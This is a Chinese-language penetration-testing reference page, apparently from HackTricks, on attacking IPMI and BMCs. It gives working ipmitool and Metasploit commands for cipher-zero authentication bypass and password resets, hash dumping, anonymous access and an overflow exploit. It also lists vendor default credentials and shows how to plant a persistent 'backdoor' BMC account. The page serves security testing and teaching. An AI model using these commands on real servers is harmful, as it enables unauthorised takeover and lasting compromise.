# 623/UDP/TCP - IPMI ## 623/UDP/TCP - IPMI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
## 基本信息 [Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics)(`IPMI`)是一组用于硬件主机管理系统的标准化规范,用于系统管理和监控。它作为一个独立的子系统工作,独立于主机的BIOS、CPU、固件和底层操作系统。IPMI使系统管理员能够管理和监控系统,即使它们处于关闭或无响应状态。它通过直接的网络连接到系统的硬件进行操作,不需要通过登录shell访问操作系统。IPMI还可以用于对系统进行远程升级,而无需物理访问目标主机。IPMI通常以以下三种方式使用: * 在操作系统引导之前修改BIOS设置 * 当主机完全关闭时 * 在系统故障后访问主机 当不用于这些任务时,IPMI可以监视各种不同的事物,如系统温度、电压、风扇状态和电源供应。它还可以用于查询库存信息、查看硬件日志和使用SNMP进行警报。主机系统可以关闭电源,但IPMI模块需要电源和LAN连接才能正常工作。 IPMI协议最初由英特尔于1998年发布,现在由200多个系统供应商支持,包括思科、戴尔、惠普、超微、英特尔等。使用IPMI 2.0版本的系统可以通过串行局域网进行管理,使系统管理员能够在带内查看串行控制台输出。为了正常工作,IPMI需要以下组件: * 主板管理控制器(BMC)- IPMI的微控制器和基本组件 * 智能机箱管理总线(ICMB)- 允许一个机箱与另一个机箱进行通信的接口 * 智能平台管理总线(IPMB)- 扩展BMC * IPMI内存- 存储系统事件日志、存储库数据等 * 通信接口- 本地系统接口、串行和LAN接口、ICMB和PCI管理总线 ![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) **默认端口**:623/UDP/TCP(通常使用UDP,但也可以在TCP上运行) ## 枚举 ### 发现 ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` 您可以使用以下方法**识别**版本: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### 漏洞 - 通过密码0绕过IPMI身份验证 Dan Farmer [发现了IPMI 2.0规范的一个严重缺陷](http://fish2.com/ipmi/cipherzero.html),即密码类型0,表示客户端希望使用明文身份验证,实际上**允许使用任何密码**进行访问。在HP、Dell和Supermicro BMC中发现了密码0的问题,该问题可能涵盖所有IPMI 2.0实现。\ 请注意,要利用此问题,您首先需要**找到一个有效的用户**。 您可以使用以下方法**识别**此问题: ``` use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` 而且你可以使用`ipmitool`来**滥用**这个问题: ```bash apt-get install ipmitool #Install #Using -C 0 any password is accepted ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 root true true true ADMINISTRATOR 3 Oper1 true true true ADMINISTRATOR ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root ``` ### 漏洞 - IPMI 2.0 RAKP认证远程密码哈希检索 基本上,**你可以向服务器请求任何用户名的盐值哈希MD5和SHA1,如果用户名存在,这些哈希值将被发送回来。** 是的,听起来很神奇。而且还有一个**Metasploit模块**可以用于测试(你可以选择John或Hashcat格式的输出): ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` _请注意,对于此操作,您只需要一个用户名列表来进行暴力破解(metasploit已经包含了一个带有默认用户名的列表)。_ 使用`ipmitool`绕过身份验证(`-c 0`)来将root密码更改为abc123: ``` root@kali:~# apt-get install ipmitool root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 root true true true ADMINISTRATOR 3 Oper1 true true true ADMINISTRATOR root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 ``` ### 漏洞 - IPMI匿名认证 除了上述的认证问题外,丹·法尔默还指出,**许多BMC默认启用了“匿名”访问**。这是通过将第一个**用户**账户的用户名设置为**空字符串**,并将**空密码**设置为匹配来配置的。_ipmi\_dumphashes_模块将识别并转储空用户账户的密码哈希(包括空密码)。**这个账户本身可能难以使用,但我们可以利用`ipmitool`重置命名用户账户的密码,并利用该账户访问其他服务: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 1 false false true ADMINISTRATOR 2 root false false true ADMINISTRATOR 3 admin true true true ADMINISTRATOR ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword" ``` ### 漏洞 - Supermicro IPMI明文密码 IPMI 2.0规范要求BMC响应基于HMAC的身份验证方法,如SHA1和MD5。这种身份验证过程存在一些严重的弱点,正如之前的示例所示,但也**需要访问明文密码以计算身份验证哈希**。这意味着BMC必须在**非易失性存储器**中存储所有配置的用户密码的**明文版本**。在**Supermicro**的情况下,此位置在固件版本之间会发生变化,但要么是**`/nv/PSBlock`**,要么是**`/nv/PSStore`**。密码分散在各种二进制块之间,但很容易识别,因为它们总是跟随用户名。对于任何使用BMC之间或甚至不同类型设备之间共享密码的组织来说,这是一个严重的问题。 ```bash cat /nv/PSBlock admin ADMINpassword^TT rootOtherPassword! ``` ### 漏洞 - Supermicro IPMI UPnP Supermicro在其最新的许多主板的IPMI固件上包含一个运行在UDP端口1900上的UPnP SSDP监听器。在SMT\_X9\_218之前的版本中,该服务运行的是Intel SDK for UPnP Devices的1.3.1版本。这个版本存在[由Rapid7在2013年2月披露的问题](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play),并且Metasploit Framework中包含了针对这个平台的利用工具。这种攻击的有趣之处在于它可以获得对BMC的完全root访问权限,而这在其他情况下很难获得。请记住,具有管理访问权限的攻击者,无论是通过网络还是从主机系统的root shell,都可以将Supermicro BMC的固件降级到一个存在漏洞的版本,然后利用它。一旦获得root访问权限,就可以从文件系统中读取明文凭据,安装其他软件,并将永久后门集成到BMC中,即使主机操作系统进行了完全重新安装,后门仍然存在。 ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### 暴力破解 请注意,只有惠普(HP)在制造过程中对密码进行随机化。 | 产品名称 | 默认用户名 | 默认密码 | | ----------------------------------------------- | -------------- | ---------------------------------------- | | **HP Integrated Lights Out (iLO)** | Administrator | \<工厂随机化的8位字符> | | **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin | | **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD(0为零) | | **Fujitsu Integrated Remote Management Controller** | admin | admin | | **Supermicro IPMI (2.0)** | ADMIN | ADMIN | | **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme | | **ASUS iKVM BMC** | admin | admin | ## 从BMC攻击主机 一旦获得对BMC的管理员访问权限,就可以使用多种方法来访问主机操作系统。最直接的方法是滥用BMC的KVM功能,并将主机重启到root shell(在GRUB中使用init=/bin/sh)或指定一个救援盘作为虚拟CD-ROM并引导到该盘。一旦获得对主机磁盘的原始访问权限,就可以轻松引入后门,从硬盘复制数据,或者执行任何需要进行的安全评估的操作。当然,这种方法的一个很大的缺点是必须重新启动主机才能使用。访问正在运行的主机要困难得多,这取决于主机正在运行的内容。如果主机的物理控制台处于登录状态,使用内置的KVM功能轻松劫持它。串行控制台也是如此-如果串行端口连接到经过身份验证的会话,则BMC可能允许使用ipmitool接口进行串行局域网(sol)的劫持。仍需要进行更多研究的一条路径是滥用对共享硬件的访问权限,例如i2c总线和Super I/O芯片。 ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png) ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png) ![](<../.gitbook/assets/image (202) (2).png>) ## 从主机攻击BMC 在主机带有BMC并被入侵的情况下,可以使用**本地接口来引入一个后门用户账户**,从而在服务器上建立一个永久立足点。此攻击需要在主机上安装**`ipmitool`**并启用对BMC的驱动程序支持。下面的示例演示了如何使用主机上的本地接口(不需要身份验证)将新用户账户注入到BMC中。此方法适用于Linux、Windows、BSD甚至DOS目标。 ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) ipmitool user set name 4 backdoor ipmitool user set password 4 backdoor ipmitool user priv 4 4 ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) 4 backdoor true false true ADMINISTRATOR ``` ## Shodan * `port:623` ## 参考资料 * [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) * [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**